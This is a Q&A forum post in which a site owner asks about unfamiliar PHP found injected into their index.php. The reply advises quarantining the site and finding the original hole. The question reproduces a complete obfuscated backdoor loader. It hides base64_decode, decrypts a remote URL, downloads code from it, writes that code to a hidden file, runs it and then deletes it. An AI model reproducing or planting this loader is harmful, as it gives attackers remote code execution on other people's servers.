Injection hack php exploit information - php

Question

Being the only developer on my server with no one else having access to it, I'm curious to know if hackers can somehow write to php files? I have come across this section of PHP code at the top of my index.php which I am not familiar with and have not put it there myself. I don't know what to make of it or what their attempts are, a little worried. Any advice is appreciated thank you.
<?php
#ini_set('display_errors', '0');
error_reporting(0);
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'md5';
$pass = "Zgc5c4MXrLUocQYT5ZtHJf/cM1fWdrpdmmSLH6uToRkH";
if (ini_get('allow_url_fopen')) {
function get_data_ya($url) {
$data = file_get_contents($url);
return $data;
}
}
else {
function get_data_ya($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
}
function wp_cd($fd, $fa="")
{
$fe = "wp_frmfunct";
$len = strlen($fd);
$ff = '';
$n = $len>100 ? 8 : 2;
while( strlen($ff)<$len )
{
$ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
}
return $fd^$ff;
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
$subdirs = glob("$dira/*", GLOB_ONLYDIR);
foreach ($subdirs as $subdira) {
if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
}
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "<?php\n$mtchs[1]\n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
?>

Answer 1

I would quarantine your site until you can find how the hacker got access in the first place. Then fix that issue. Removing his code won't stop him coming back if the previous security hole still remains. Its probably from some insecure wordpress plugin.
With regards to the hackers code, it seems to crawl from an arbitrary url and write to your server.